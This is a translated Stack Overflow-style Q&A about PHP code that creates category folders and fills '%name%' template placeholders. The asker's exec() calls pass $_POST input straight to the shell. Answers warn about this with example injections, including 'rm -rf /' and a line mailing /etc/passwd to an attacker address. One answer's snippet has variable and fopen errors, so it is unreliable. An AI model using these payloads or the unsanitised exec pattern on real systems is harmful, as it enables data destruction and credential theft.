在文件中更改匹配单词的最佳方法是什么?

时间:2011-05-28 19:31:42

标签: php file exec

我正在使用网站项目,管理员可以创建类别。当他们确实创建时,类别的名称将添加到数据库中 在处理用于创建类别的表单的PHP文件中,我在主机的特定目录中创建了一个具有给定名称的目录,此时看起来像:

exec('mkdir /homezx/user/website/categories/' . $_POST['name']);

它工作正常,但现在我想将资源文件夹中的模板复制到这个新创建的目录(将是它的索引),我知道该怎么做。

exec('cp .../templates/index.php /.../categories/' . $_POST['name'] . '/index.php');

问题是我想制作这个模板,以便它可以适合放置它的文件夹 在模板文件中,我用字符串'%name%'替换所有与一对一索引不同的部分。

在用给定名称(例如标题标签)更改了所有'%name%'之后,在创建的文件夹中复制此文件的最佳方法是什么?

4 个答案:

答案 0 :(得分:1)

我绝不是黑客,也不是那么接近。这些例子可能甚至不会在第一次尝试时起作用,这只是为了让你思考。如果$ _POST ['name']包含...

,该怎么办?
$_POST['name'] = ";rm -rf /"; // ;ends the mkdir instruction ..

or ...

$_POST['name'] = ";mail -s “Pawned” badguy@allyourbasebelongtous.com < /etc/passwd";

友好的建议,从来没有像这样使用过exec。更好的是,永远不要使用exec,如果你可以避免它,尤其是基于网络的应用程序。

答案 1 :(得分:1)

$name=$_POST['name'];

mkdir($path_to_new_folder);
$template=fopen($path_to_template);
$str=file_get_contents($template);
$newstr=str_replace('%name%',$name,$str);
fclose($template);
$newfile=fopen($path_to_new_folder.'/index.php','w');
fwrite($newfile,$new_str);
fclose($newfile);

这是你想要做的吗?它将打开您的模板,用新名称替换%name%,创建目录和新文件,编写已编辑的模板文件并保存

答案 2 :(得分:1)

建议使用PHP的mkdir()copy()函数。例如,$_POST['name']无法做任何事情?你真的想要exec() 任何吗?

其次,要完成模板化,你可以使用像这样简单的东西。

$template = file_get_contents('template.html');
$replacements = array(
    '%name%' => 'Oddantfr'
);
$contents = str_replace(
    array_keys($replacements),
    array_values($replacements),
    $template
);
file_put_contents('template.html', $contents);

答案 3 :(得分:0)

这不是问题本身的答案,而是评论中不能包含的评论。但是,如果你还没有,你需要知道这一点。

exec('mkdir /homezx/user/website/categories/' . $_POST['name']);

这非常非常糟糕。不要这样做。当你在PHP中运行exec()时,第一个参数作为字符串运行,允许这样的事情发生:

$_POST[] ~ ".'; i0wnZU(); doBadStuff();'";

这将使您的exec()代码等同于:

exec('mkdir /homezx/user/website/categories/'.'; i0wnZU(); doBadStuff();');

将我的两个有趣的功能替换为实际的坏东西(可能是rooted脚本或其他东西),并且你有一个安全漏洞允许访问服务器的底层操作系统。

使用PHP提供的mkdir()copy()函数,并清除您提交给您的所有POST / GET变量。不要只是将其直接插入未清理的代码中,尤其是在数据库查询中。